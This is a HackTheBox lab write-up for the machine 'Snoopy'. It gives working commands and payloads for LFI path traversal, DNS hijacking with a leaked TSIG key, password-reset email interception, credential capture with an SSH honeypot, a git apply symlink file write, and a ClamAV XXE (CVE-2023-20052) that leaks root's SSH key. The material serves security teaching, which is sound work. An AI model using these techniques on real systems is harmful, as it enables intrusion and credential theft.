All writeups
HackTheBox: Snoopy avatar
MACHINE Linux HackTheBox 4/5

HackTheBox: Snoopy

2026-06-08 17 min read
Tracks CPTS
Services dnspostfixssh

Introduction

Snoopy is a Linux machine that chains six distinct attack techniques together into a full system compromise. Each step is creative and non-obvious - this is one of the best boxes for learning about DNS hijacking, mail interception, SSH honeypots, and CVE exploitation. The path to root:

  1. Enumeration → Nmap reveals SSH, Bind9 DNS, and Nginx; subdomain fuzzing finds mm.snoopy.htb (Mattermost)
  2. LFI → the /download?file= endpoint on the main site is vulnerable to path traversal → read arbitrary files from disk
  3. DNS hijacking → LFI leaks the Bind9 TSIG key from /etc/bind/named.conf → use it to add a mail.snoopy.htb A record pointing to our machine
  4. Mail interception → set up Postfix on our attacker machine → trigger a Mattermost password reset for sbrown → receive the email → decode the reset link → log in as sbrown
  5. SSH honeypot → inside Mattermost, a “Server Provisioning” plugin sends SSH connections to user-specified IPs → point it at our sshesame honeypot → capture cbrown’s plaintext SSH credentials
  6. git apply symlink attackcbrown can run git apply as sbrown via sudo → exploit CVE-style git symlink behaviour to write our SSH key into sbrown’s authorized_keys → user flag
  7. CVE-2023-20052 (ClamAV XXE)sbrown can run clamscan as root → craft a malicious DMG file with an XXE payload → clamscan --debug leaks root’s SSH private key → SSH as root → root flag

Key Concepts

What is LFI (Local File Inclusion)? A vulnerability where a web application uses a user-supplied filename to serve files, without properly validating the path. By injecting ../ sequences (path traversal), an attacker can escape the intended directory and read arbitrary files on the server - like /etc/passwd or configuration files.

What is the ....// bypass? Many web applications try to block ../ path traversal by removing occurrences of ../ from user input. If the removal is done only once (not recursively), the sequence ....// bypasses it: the filter deletes the inner ../, leaving ../ behind. This is a classic filter evasion trick.

What is Bind9 and a TSIG key? Bind9 is a popular DNS server. A TSIG (Transaction SIGnature) key is a shared secret used to authenticate dynamic DNS updates - it proves that whoever is sending the update has permission to modify DNS records. If an attacker obtains the TSIG key, they can add, modify, or delete any DNS record in the zone.

What is a DNS A record? An A record maps a hostname to an IPv4 address. By adding mail.snoopy.htb → our IP, we tell the DNS server that all email destined for snoopy.htb should be delivered to our machine instead of the real mail server. Since Mattermost sends password reset emails via that subdomain, we will receive them.

What is SMTP / Postfix? SMTP (port 25) is the protocol used to send emails between servers. Postfix is a lightweight Mail Transfer Agent (MTA) that listens on port 25 and accepts incoming mail. By running Postfix with the domain snoopy.htb, our machine pretends to be the mail.snoopy.htb server and accepts whatever the target sends.

What is Quoted Printable encoding? An email encoding format that represents special characters using =XX sequences (e.g. =3D for =). Email clients decode this automatically, but reading raw email files means you’ll see mangled URLs. Online decoders (or python3 -c "import quopri...") convert them back to normal.

What is an SSH honeypot? A fake SSH server that accepts any credentials and logs everything. Instead of opening a real shell, it records the username and password the connecting client tried to use. sshesame is a lightweight Go-based SSH honeypot.

What is a git apply symlink attack? git apply applies a diff (patch) to a repository. A subtle vulnerability in git versions before 2.39.2 allows a specially crafted patch to follow symlinks while applying changes - meaning if you have a symlink in the repository pointing to a sensitive directory, the patch can write arbitrary files into that directory. If you can run git apply as another user via sudo, you can write your SSH key into that user’s authorized_keys.

What is XXE (XML External Entity)? An attack against XML parsers that support the <!ENTITY> syntax. An XXE payload defines an “entity” that references an external file using file://. When the XML is parsed, the parser expands the entity and includes the file’s contents in the output - essentially reading arbitrary files from disk.

What is CVE-2023-20052? A vulnerability in ClamAV’s DMG (Apple disk image) file parser. When parsing a DMG file, ClamAV processes XML plist data embedded inside it. If that XML contains an XXE payload, ClamAV’s XML parser will expand it and include the referenced file’s contents in its debug output. Since sbrown can run clamscan as root, we can exfiltrate root’s SSH key this way.

What is a DMG file? A disk image format used by macOS. It has a specific binary structure that includes an embedded XML plist section. Tools like genisoimage and libdmg-hfsplus let you create and manipulate DMG files on Linux.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports <TARGET>

Key open ports:

PortServiceNotes
22SSHOpenSSH 8.9p1 Ubuntu
53DNSBind9 - investigate config files
80HTTPNginx - SnoopySec company site

Add the domain to your hosts file:

echo '<TARGET> snoopy.htb' | sudo tee -a /etc/hosts

Website Recon

Visit http://snoopy.htb. Key findings:

  • Team page → usernames and emails: cschultz@snoopy.htb, sbrown@snoopy.htb, hangel@snoopy.htb, lpelt@snoopy.htb
  • Contact page → notice: “mail.snoopy.htb is currently offline” - this is a huge hint
  • Homepage → two download links: a press release ZIP and an “announcement” ZIP

Subdomain Fuzzing

ffuf -u http://snoopy.htb -t 50 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -H "Host: FUZZ.snoopy.htb" -mc all -fs 23418

Hit: mm.snoopy.htb (Status 200)

echo '<TARGET> mm.snoopy.htb' | sudo tee -a /etc/hosts

Visiting mm.snoopy.htb reveals a Mattermost login page. Registration is closed. Testing the password reset for a non-existent user returns a generic message; testing sbrown@snoopy.htb returns “Failed to send password reset email successfully” - confirming the account exists but the mail server is offline.


LFI: Read Arbitrary Files from the Server

Find the vulnerable parameter

Click “download our recent announcement here” on the homepage and capture the request in Burp Suite. The URL looks like:

GET /download?file=announcement.pdf HTTP/1.1

The ?file= parameter directly references the file to serve - a classic sign of potential path traversal.

Bypass the filter with ....//

The server strips ../ sequences, but doesn’t do it recursively. The ....// trick works by letting the filter delete the inner ../, leaving ../ intact:

....//....//....//....//....//....//....//....//etc/passwd

Full URL:

http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/passwd

The server returns a ZIP file containing /etc/passwd - LFI confirmed. The passwd file reveals system users including cbrown, sbrown, clamav, and bind.

Read the Bind9 configuration files

Since DNS is running on port 53, look for the Bind9 TSIG key used to authenticate DNS updates:

# Step 1: find the zone configuration
/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf.local

The named.conf.local file shows the snoopy.htb zone is configured with:

allow-update { key "rndc-key"; };

This means anyone with the rndc-key can modify DNS records. Now fetch the key itself:

/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf

The named.conf file contains:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Save this to a file called rndc.key:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

DNS Hijacking: Redirect mail.snoopy.htb to Our Machine

Check current DNS records

dig axfr @<TARGET> snoopy.htb

What is axfr? A DNS zone transfer - it requests the full list of all DNS records from the server. It shows us everything: mattermost.snoopy.htb, mm.snoopy.htb, postgres.snoopy.htb, etc. Notably, mail.snoopy.htb is not in the list - it’s the offline subdomain mentioned on the site.

Add a malicious A record

Use nsupdate with the stolen TSIG key to add mail.snoopy.htb pointing to our attacker IP:

nsupdate -k rndc.key
> server <TARGET>
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A <YOUR_IP>
> send
> quit

Verify the record was added:

dig axfr @<TARGET> snoopy.htb
# mail.snoopy.htb.   60   IN   A   <YOUR_IP>

Why TTL 60? TTL (Time to Live) is how long the record is cached. Setting it to 60 seconds means the change takes effect quickly and can be easily updated if needed.


Mail Interception: Capture the Mattermost Password Reset

Set up Postfix (our fake mail server)

sudo apt-get install postfix
# During install: choose "Internet Site", set domain to "snoopy.htb"

# Or configure manually on an existing install:
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mynetworks = 10.0.0.0/8"
sudo systemctl start postfix

Why set the domain to snoopy.htb? Postfix uses myhostname and mydestination to decide which emails to accept. Setting it to snoopy.htb makes our machine accept emails addressed to *@snoopy.htb - exactly what Mattermost will send.

Create the local mail recipient

Postfix needs a local system user matching the email’s recipient. Since we’re targeting sbrown@snoopy.htb:

sudo useradd sbrown
sudo touch /var/mail/sbrown
sudo chown sbrown:sbrown /var/mail/sbrown

Trigger the password reset

Go to http://mm.snoopy.htb → “Forgot your password?” → enter sbrown@snoopy.htb → click Reset.

Read the email

sudo cat /var/mail/sbrown

The email body contains the reset link, but it’s in Quoted Printable encoding - some characters appear as =XX sequences. For example, =3D is = and line breaks are marked with =. The raw link might look like:

http://mm.snoopy.htb/reset_password_complete?token=3Dwurha=
ors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg

Decode it using an online Quoted Printable decoder (or Python) to get the real URL:

http://mm.snoopy.htb/reset_password_complete?token=wurhaors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg

Visit this URL, set a new password, and log in as sbrown.


SSH Honeypot: Capture cbrown’s Credentials

Find the Server Provisioning channel

After logging in as sbrown, browse the Mattermost channels. In the Town Square channel, the staff are discussing a new “Server Provisioning” DevSecOps tool. Find and join the Server Provisioning channel.

Type /server_provision in the chat to trigger the provisioning form. This form is a plugin that lets IT staff request SSH access to a new server - and it sends the actual SSH connection.

Set up the sshesame honeypot

Before submitting the form, set up a fake SSH server on port 2222 to capture whatever credentials the target server will use:

git clone https://github.com/jaksi/sshesame
cd sshesame
sudo go build

# Change listening address from 127.0.0.1:2022 to 0.0.0.0:2222
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml

# Stop the real SSH service on port 22 (we still have our session, don't worry)
systemctl stop ssh

./sshesame -config sshesame.yaml

Why stop SSH first? We need port 2222 clear. sshesame listens on 2222 so it doesn’t conflict with our own SSH session on port 22. Warning: make sure you have another way in before stopping SSH.

Submit the provisioning form

In Mattermost, fill in the Server Provisioning form:

  • Email: sbrown@snoopy.htb
  • Operating System: Linux (uses port 2222)
  • Server IP: your attacker IP (e.g. <YOUR_IP>)

Hit Submit. Watch the sshesame output:

INFO Listening on [::]:2222
2023/05/15 15:40:04 [<TARGET>:44220] authentication for user "cbrown" with password "sn00pedcr3dential!!!" accepted

Captured credentials: cbrown:sn00pedcr3dential!!!

What just happened? The Mattermost plugin connected to our fake SSH server using cbrown’s real credentials. The honeypot accepted any password and logged the attempt. This is the same technique used against real organisations when an admin trusts a malicious server recommendation.

Restart SSH on your attacker machine before proceeding:

systemctl start ssh

SSH in as cbrown

ssh cbrown@snoopy.htb
# Password: sn00pedcr3dential!!!
cbrown@snoopy:~$ id
uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown),1002(devops)

Note: both cbrown and sbrown are in the devops group.


Check sudo permissions

sudo -l
User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

cbrown can run git apply -v <patchfile> as sbrown. The patch filename must match [a-zA-Z0-9.]+ (alphanumeric only - no slashes). This means we can’t specify a path, so we need to work inside the current directory.

Check the vulnerable git version

git --version
# git version 2.34.1

Versions before 2.39.2 are vulnerable to a symlink-based arbitrary file write via git apply. The trick: if the repository contains a symlink to a directory, and a patch renames that symlink while simultaneously creating a file inside the renamed symlink, git follows the symlink and writes the file into the target directory.

Our goal: write our SSH public key into /home/sbrown/.ssh/authorized_keys.

Work in /dev/shm (a memory-backed filesystem, no disk writes):

cd /dev/shm
mkdir rce
chown :devops rce        # give the devops group access so sbrown can read it
cd rce
git init .
ln -s /home/sbrown/.ssh symlink    # symlink points to sbrown's .ssh folder
git add symlink
git commit -m "add symlink"

Why /dev/shm? It’s world-writable and not mounted with noexec, making it convenient for temporary exploitation work. It also avoids leaving traces on disk.

Step 2: Generate your SSH keypair (if you don’t have one)

ssh-keygen -t rsa -f /tmp/mykey -N ""
# Creates /tmp/mykey (private) and /tmp/mykey.pub (public)
cat /tmp/mykey.pub   # copy this output

Step 3: Create the malicious patch file

cat >patch <<-EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-rsa AAAA...your public key here... user@host
EOF

What does this patch do? It tells git to:

  1. Rename symlink (which points to /home/sbrown/.ssh) to renamed-symlink
  2. Create a new file renamed-symlink/authorized_keys - but since renamed-symlink is /home/sbrown/.ssh, this actually creates /home/sbrown/.ssh/authorized_keys

The vulnerability is that git follows the symlink during step 2, allowing the write outside the repository.

Step 4: Apply the patch as sbrown

sudo -u sbrown /usr/bin/git apply -v patch
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.

Step 5: SSH in as sbrown

ssh sbrown@snoopy.htb -i /tmp/mykey

User flag captured. /home/sbrown/user.txt


CVE-2023-20052 (ClamAV XXE): Root

Check sbrown’s sudo permissions

sudo -l
User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

sbrown can run clamscan --debug as root, but only on files inside ~/scanfiles/. The filename must be alphanumeric. The --debug flag is crucial - it makes ClamAV print verbose parsing output, which is where the XXE leak appears.

Understand the vulnerability

CVE-2023-20052 affects ClamAV’s DMG file parser. A DMG file contains an embedded XML plist section. If that XML includes an XXE payload (<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">), ClamAV’s XML parser will expand it and print the file contents in its --debug output.

Step 1: Create a base DMG file on your attacker machine

sudo apt-get install genisoimage
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg /mnt

What does this do? genisoimage creates an ISO 9660 / HFS hybrid disk image. The -apple flag adds the Apple HFS (Mac) filesystem extensions that ClamAV’s DMG parser will attempt to process. /mnt is just used as an empty directory source - we don’t care about the contents.

This base DMG doesn’t yet contain valid XML plist data with our XXE payload. We need to add it using libdmg-hfsplus.

Step 2: Compile libdmg-hfsplus with the XXE payload

git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplus

Edit dmg/resources.c. Find the plistHeader constant (around line 97) and replace it with:

const char *plistHeader =
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
    "<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
    "<plist version=\"1.0\">\n"
    "<dict>\n";

What is this? The DOCTYPE declaration defines an entity xxe that, when expanded, reads /root/.ssh/id_rsa. The SYSTEM keyword tells the parser to fetch the content from the filesystem.

Then find the writeResources function (around line 689) and modify it to print &xxe; instead of the real key name, and comment out the footer so the file stays parseable:

void writeResources(AbstractFile *file, ResourceKey *resources) {
    ResourceKey *curResource;
    ResourceData *curData;

    abstractFilePrint(file, plistHeader);
    abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");
    curResource = resources;
    while (curResource != NULL) {
        abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
                          "&xxe;");
//                          curResource->key);
        curData = curResource->data;
        while (curData != NULL) {
            writeResourceData(file, curData, curResource->flipData, 3);
            curData = curData->next;
        }
        abstractFilePrint(file, "\t\t</array>\n", curResource->key);
        curResource = curResource->next;
    }
//abstractFilePrint(file, "\t</dict>\n");
//abstractFilePrint(file, plistFooter);
}

Why comment out the footer? Without proper closing tags the XML is technically malformed, but ClamAV’s parser still processes it far enough to expand the XXE entity. The debug output captures the expanded content before the parser fails.

Step 3: Build the project and merge into the DMG

cmake . -B build
make -C build/dmg -j8

# Merge our XXE-injected XML into the existing base DMG
build/dmg/dmg progname.dmg c.dmg

# Host it for download
python3 -m http.server 8081

Step 4: Transfer and scan on the target

As sbrown on the target:

cd ~/scanfiles
wget <YOUR_IP>:8081/c.dmg

sudo clamscan --debug /home/sbrown/scanfiles/c.dmg

In the debug output, look for:

LibClamAV debug: cli_scandmg: wanted blkx, text value is -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjAAAAA...
...
-----END OPENSSH PRIVATE KEY-----

Step 5: SSH in as root

Save the key to a file on your attacker machine:

# Paste the key content into root_rsa
chmod 600 root_rsa
ssh -i root_rsa root@snoopy.htb
root@snoopy:~# id
uid=0(root) gid=0(root) groups=0(root)

Root flag captured. /root/root.txt


Summary

nmap → SSH (22), Bind9 DNS (53), Nginx (80)

ffuf vhost fuzzing → mm.snoopy.htb (Mattermost)
website → team page → usernames: sbrown, cbrown, cschultz, hangel, lpelt
website → contact page → "mail.snoopy.htb is offline" (hint!)

/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf
→ TSIG key: BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=

nsupdate -k rndc.key → add mail.snoopy.htb A record → our IP

sudo apt install postfix (domain: snoopy.htb)
sudo useradd sbrown; touch /var/mail/sbrown
Mattermost password reset → sbrown@snoopy.htb
→ email received in /var/mail/sbrown
decode Quoted Printable → visit reset link → set new password

login as sbrown → Server Provisioning channel → /server_provision
sshesame honeypot on port 2222 → submit form pointing at our IP
→ cbrown:sn00pedcr3dential!!! captured

ssh cbrown@snoopy.htb → sudo -l → can run: git apply as sbrown

git repo in /dev/shm → symlink → /home/sbrown/.ssh
craft malicious patch → rename symlink, write authorized_keys
sudo -u sbrown /usr/bin/git apply -v patch
→ our public key in /home/sbrown/.ssh/authorized_keys

ssh sbrown@snoopy.htb -i mykey → USER FLAG

sudo -l → can run: clamscan --debug ~/scanfiles/* as root

attacker: clone libdmg-hfsplus → inject XXE into resources.c
→ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
cmake + make → build/dmg/dmg progname.dmg c.dmg → serve via python3 http.server

sbrown: wget c.dmg into ~/scanfiles/
sudo clamscan --debug /home/sbrown/scanfiles/c.dmg
→ debug output contains root's SSH private key

chmod 600 root_rsa; ssh -i root_rsa root@snoopy.htb → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
nmapPort scanning and service fingerprintingsudo apt install nmap
ffufVirtual host / subdomain fuzzing via the Host: headersudo apt install ffuf
Burp SuiteHTTP proxy for intercepting and modifying web requestsportswigger.net
digDNS query tool - used for zone transfers (axfr)sudo apt install dnsutils
nsupdateDynamic DNS update tool - used to add records with a TSIG keysudo apt install dnsutils
PostfixLightweight Mail Transfer Agent - used to receive the password reset emailsudo apt install postfix
WiresharkPacket capture - used to verify SMTP connections are being madesudo apt install wireshark
sshesameSSH honeypot that logs credentials from any connecting clientgithub.com/jaksi/sshesame
genisoimageCreates ISO/HFS hybrid disk images (base DMG)sudo apt install genisoimage
libdmg-hfsplusLibrary for processing DMG files - patched to inject XXE payloadgithub.com/fanquake/libdmg-hfsplus
cmake / makeBuild tools needed to compile libdmg-hfsplussudo apt install cmake build-essential
python3 http.serverLightweight web server to transfer files to the targetBuilt into Python 3